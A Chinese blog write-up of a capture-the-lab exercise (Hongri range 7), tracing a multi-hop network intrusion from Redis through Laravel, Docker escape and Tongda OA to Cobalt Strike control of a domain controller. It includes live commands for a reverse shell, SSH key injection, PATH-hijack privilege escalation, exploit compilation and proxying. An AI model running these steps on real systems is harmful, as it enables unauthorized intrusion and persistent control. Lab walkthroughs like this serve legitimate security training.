跳到主要内容
红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程 | 极客日志
Shell / Bash
红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程 红日靶场 7 的内网渗透流程。通过 Redis 未授权访问获取 Web1 权限,利用 Laravel 漏洞及 Docker 逃逸控制 Web2。配置 FRP 代理打通内网,通过通达 OA 漏洞获取 PC1 权限。最终使用 Cobalt Strike Beacon 上线各节点,结合 SMB 及永恒之蓝攻陷域控 DC 及目标主机 PC2。涉及信息收集、漏洞利用、提权、横向移动及持久化控制。
Pythonist 发布于 2026/4/6 更新于 2026/5/20 23 浏览红日靶场 7 实战:内网横向渗透与 Cobalt Strike 上线全流程
本系列文章详细记录红日靶场 7 的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过 Redis 未授权渗透获取 Web1 跳板机权限;利用 Laravel(CVE-2021-3129)渗透 Web2 服务器并实现 Docker 逃逸;配置 FRP 反向代理连通内网;使用 fscan 进行内网探测;通过 CS 工具上线多个内网主机;最终利用永恒之蓝和 Psexec/SMB 攻陷域控 DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径。
一、渗透环境
1、网络拓扑
外部网络:
Kali 攻击机 :Vmnet8 - 192.168.59.128
DMZ 跳板机 :Web1(Ubuntu):Vmnet8 - 192.168.59.141,Vmnet2 网卡:192.168.52.10
第一层内部网络:
Web2 服务器 (Ubuntu):Vmnet2 网卡:192.168.52.20,Vmnet14 网卡:192.168.93.10
PC1 (内网 1):Vmnet2 网卡:192.168.52.30(通达 OA),Vmnet14 网卡:192.168.93.20
第二层内部网络:
内网渗透目标 PC2 (内网 2):Vmnet14 - 192.168.93.40(永恒之蓝)
内网渗透目标 DC (内网 2):Vmnet14 - 192.168.93.30(Psexec SMB)
2、角色表
本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。
节点 IP 地址 角色 渗透路径中的作用 Kali 攻击机 192.168.59.128 (Vmnet8) 攻击发起源 从外网发起攻击的起点 Web1 跳板机 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) 初始入口 Redis 未授权访问第一层跳板,连接外网与内网 1 Web2 服务器 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) Laravel 应用 & Docker双网卡网关 第二层跳板,连接内网 1 与内网 2 PC1 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) 通达 OA 系统 双网卡主机 辅助跳点,连接内网 1 与内网 2 PC2 (目标) 192.168.93.40 (Vmnet14) 存在 MS17-010(永恒之蓝)
DC (目标) 192.168.93.30 (Vmnet14) 域控制器,存在 Psexec/SMB 内网 2 最终攻击目标
3、网络搭建
(1)网络适配器配置
①修改 Web1 的网卡配置 redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
②修改 Web2 的网卡配置 将桥接的网卡改为 VMnet2 和 VMnet14。
sudo service docker start
sudo docker start 8e172820ac78
确保在攻击机可以访问 Web1 服务器的 81 端口,URL 如下:
http://192.168.59.141:81/
③修改 PC1 的网卡配置 将桥接的网卡改为 VMnet2 和 VMnet14。
注意:启动通达 OA 要管理员密码 - Administrator:Whoami2021
C:\MYOA\bin\AutoConfig.exe
(2)配置网段
①编辑虚拟网络编辑器 点击 vmware - 编辑 - 虚拟网络编辑器,进入配置 vmnet 网卡的界面。
② vmnet2 网卡 将 vmnet2 网段改为 192.168.52.0/24。
③ vmnet14 网卡 添加 vmnet14 网卡,网段设置为 192.168.93.0/24。
二、信息搜集
1、探测存活主机 发现 ip 地址为 192.168.59.141。
2、探测端口 对 192.168.59.141 进行常用端口探测,出现敏感端口号 22、80、81。
三、Redis 渗透
1、生成 ssh 私钥
2、查看生成公钥文件
3、写入 Redis 服务器
(1)直接连接未授权 Redis redis-cli -h 192.168.59.141
(2)写入 SSH 公钥获取服务器权限 篡改 Redis 的数据持久化配置,将生成的 SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save
4、ssh 连接
5、查看 Web1 的 Nginx 配置 cd /etc/nginx/conf.d/
cat 81.conf
发现 81 端口进行了反向代理(使用的是 192.168.52.20 对应的 8000 端口)。
四、Laravel 渗透(Web2)
1、发现 Laravel 访问 Web1 的 81 端口,发现其为 Laravel 服务。
2、下载 PoC https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
3、执行 PoC 上传木马 python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81
4、下载哥斯拉 https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla
5、连接哥斯拉 通过 java -jar 命令启动哥斯拉,添加木马连接。
6、发现 Docker 环境 通过 ls -la / 命令查看根目录,发现 docker 文件。执行 whoami 返回 www-data 用户。
五、Docker 逃逸(Web2)
1、利用反弹 shell 交互
(1)Web1 监听 5555 端口
(2)哥斯拉(Docker)连接 5555 端口 bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
(3)Web1 反弹 shell 成功 成功连接后,可在 web1 的 ssh 终端通过监听 5555 端口连接 Web2 的 Laravel 服务器 docker 环境。
2、查找 find 权限 find / -perm -u=s -type f 2>/dev/null
发现 /home/jobs/shell 文件设置了 SUID 权限,属主是 root。
3、分析/home/jobs/shell 文件
(1)file /home/jobs/shell
(2)发现源码文件 检查目录是否存在相关源码文件,发现 demo.c 文件。
该 C 程序通过 setuid(0) 和 setgid(0) 将进程权限提升至 root 身份,并调用 system("ps")。
(3)尝试直接执行 shell 程序 执行 shell 程序,确认其执行了 ps 程序。
5、环境变量提权
(1)命令详解 cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
(2)实操提权 执行 shell 后输入 id 和 whoami,提权成功。
6、交互式会话 python -c 'import pty; pty.spawn("/bin/bash")'
7、Docker 逃逸准备
(1)特权模式检测 cat /proc/self/status | grep CapEff
若返回值接近全权限掩码,则确认容器以特权模式运行。
(2)查看分区
(3)挂载文件系统 mkdir /ljn
mount /dev/sda1 /ljn
8、写入 ssh 密钥进行逃逸
(1)跳板机 Web1 生成密钥
(2)向 Web2 写入公钥 echo 'ssh-rsa ...' > /ljn/home/ubuntu/.ssh/authorized_keys
(3)Web1 连接 Web2 的 ssh 成功 此时成功逃逸到 web2 系统,但用户为 ubuntu,仍需提权。
六、Web2 提权
1、CVE-2021-3493 PoC 下载 https://github.com/briskets/CVE-2021-3493
2、Web2 上创建 PoC 文件 建立 exploit.c 文件并将脚本内容粘贴进去。
3、编译执行 PoC 提权 gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn
七、Web1 上传 Fscan 探测内网 1
1、上传 fscan 将 fscan_arm64 传入到 Web1 中。
2、fscan 探测 192.168.52.0/24 网段 chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24
发现 30 是 windows 系统,8080 是通达 OA。
八、FRP 配置第一层反向代理
1、服务器(KALI 攻击机)
(1)配置文件 frps.ini
(2)kali 执行 frps
2、客户端(Web 跳板机)
(1)配置文件 frpc.ini [common]
server_addr = 192.168 .59.128
server_port = 7000
[socks5]
type = tcp
remote_port = 12347
plugin = socks5
(2)向 Web1 服务器上传 frpc 文件并执行
3、Kali 配置 proxychains 配置/etc/proxychains4.conf 文件,添加 socks5 0.0.0.0 12347。
九、PC1 渗透(通达 OA 走 FRP 代理)
1、访问 PC1 的 8080 端口 访问 PC1 的通达 OA 服务(192.168.52.30:8080),需配置 socks5 代理 192.168.59.128:12347。
2、OA 工具箱渗透
(1)配置代理
(2)扫描探测 选择通达菜单,输入 URL 验证存在文件上传安全风险。
(3)写入木马 http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
3、连接冰蝎木马
4、发现第二层内网 192.168.93.0/24 使用 ipconfig 查询 ip 地址,发现另一个网卡 ip 地址为 192.168.93.20。
十、添加路由
1、kali 添加路由 route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0
2、Web1 添加转发功能 sysctl -w net.ipv4.ip_forward=1
3、Web2 添加路由 route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0
4、PC1 添加路由 route add 192.168.59.0 mask 255.255.255.0 192.168.52.10
5、Kali 与 Web2 测试连通性
6、Kali 与 PC1 测试连通性
十一、CS 监听 Web1(直连)
1、创建 https 监听
2、配置 cs 插件 genCrossC2.Win 确保 genCrossC2.Win 目录中的 key 与 cs server 端的 key 值相同。
3、使用 genCrossC2.Win 生成 linux beacon genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw
4、将 ljn-10050 上传至 Web1 并运行
5、CS 上线 Web1 Web1 上线,内网 ip 地址为 192.168.52.0/24 网段。
十二、CS 上线 Web2(路由)
1、web2 上传 beacon 在 web1 的 beacon 文件目录中执行 python 服务:
python3 -m http.server 8888
2、web2 运行 beacon
3、CS 上线 web2
十三、CS 上线 PC1(路由)
1、CS 创建 10087 监听
(1)添加 cs http beacon 监听 选择 payload 类型(Beacon HTTP),配置回连 IP 和端口。
(2)生成木马 Payload 选择 Windows 可执行文件(Stageless),配置监听器,生成 mooyuan2008-http-x64.exe。
2、PC1 执行 Beacon
(1)冰蝎上传 beacon 到 PC1
(2)冰蝎执行 beacon 执行 mooyuan2008-http-x64.exe。
3、CS 上线 PC1 的 beacon
(1)CS 上线 PC1
(2)抓取密码
(3)端口扫描
(4)域信息搜集
4、CS 创建 SMB 监听
十四、CS 上线 DC(PSexec via PC1 smb) 还原快照或手动打开防火墙,确保环境原始状态。使用 PSExec 通过 SMB 协议上线 DC。
十五、CS 上线 PC2(PSexec via DC smb) 使用 PSExec 通过 SMB 协议上线 PC2。
十六、总结 正常应该都是活动的,这里因为电脑太卡了,对 PC1 和 PC2、DC 关机了。图示化展示渗透路径。
相关免费在线工具 Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
JSON美化和格式化 将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online